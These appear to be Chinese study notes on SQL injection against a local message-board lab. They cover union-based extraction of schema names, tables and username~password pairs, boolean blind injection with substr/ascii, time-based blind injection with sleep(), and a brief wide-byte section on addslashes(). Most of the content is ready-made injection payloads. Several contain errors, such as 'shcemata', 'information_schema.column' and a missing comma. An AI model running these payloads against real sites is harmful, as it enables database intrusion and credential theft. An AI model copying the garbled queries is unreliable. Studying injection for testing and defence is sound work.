sql注入

一、聯(lián)合查詢

流程
http://127.0.0.1/liuyanban/denglu.php?id=1
在id=1 先加 ’
然后 and 1=1
然后 and 1=2
如果不一樣 整形
如果一樣
‘ and 1=1 ” and 1=1
'and 1=2 " and 1=2
如果不一樣 字符型

order by
查詢列數(shù)
‘ order by 1

union
作用將兩個或多個select語句查詢結(jié)果合并在一起 列數(shù)必須一樣
前提 頁面上有顯示位

http://127.0.0.1/liuyanban/percenter.php?uid= -23 ’union select 1,
group_concat(schema_name) from
information_schema.shcemata,3,4,5,6,7 --+

select group_concat(table_name) from information_schema.tables where table_schema ="lyb"

select group_concat(column_name) from information_schema.column where table_schema = "lyb" and table_name = "user" ;

select group_concat(concat(username,'~',password)) from lyb.user

count 查詢有多少行 limit 0,1

二、布爾盲注

前提
頁面中沒有顯示位,沒有輸出SQL語句執(zhí)行錯誤信息,只能通過頁面返回正常不正常

速度慢,耗時長

過程

1 判斷是整型還是字符型
2 獲取數(shù)據(jù)庫個數(shù)
3 判斷第一個數(shù)據(jù)庫名有多少個字符
4 判斷第一個庫第一個字符

<meta charset="utf-8">

substr()函數(shù)

作用

截取字符串

substr(string, num start,num length)

字符串 起始位 長度

<meta charset="utf-8">

圖片.png

ascii() 函數(shù)

作用

返回字符成str的字符ascii碼值。如果str是空字符串,返回0,如果string是null 返回null

圖片.png

substring

判斷數(shù)據(jù)庫個數(shù)

and (select count(schema_name) from information_schema.schemata) >8

判斷第一個數(shù)據(jù)庫名有多少個字符

and (select length(schema_name) from information_schema.schema limit 0,1) >18

判斷第一個庫的第一個字符

and (select ascii(substr((select schema_name from information_schema.schemata limit 0,1)

,1,1)))>105

判斷第一個庫的第二個字符

and (select ascii(substr((select schema_name from information_schema.schemata limit 0,1)

2,1))) >110

三、時間盲注

前提
頁面上沒有顯示位,也沒有輸出sql語句執(zhí)行錯誤信息。

時間盲注過程
判斷是整型還是字符型
獲取數(shù)據(jù)庫個數(shù)
判斷第一個數(shù)據(jù)庫名有多少個字符
判斷第一個數(shù)據(jù)庫的第一個字符

if(condition,a,b)
當(dāng)condition為ture時,返回a
當(dāng)condition為false時,返回b

select if(ascii(substr("hello",1,1))=104,sleep(5),1)

判斷數(shù)據(jù)庫個數(shù)
if((select count(schema_name) from information_schema.schemata)=5,sleep(5),1)

判斷第一個數(shù)據(jù)庫字符長度
if((select length(schema_name) from information_schema.schemata limit 0,1)=18,sleep(5),1)

判斷第一個數(shù)據(jù)庫字符的第一個字母
if( (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)

判斷第一個數(shù)據(jù)庫字符的第二個字母
if( (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1)))=105,sleep(5),1)

四、寬字節(jié)注入

圖片.png

addslashes() 函數(shù)
作用
返回在預(yù)定義字符之前添加反斜杠的字符串

預(yù)定義字符
'
"

NULL

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容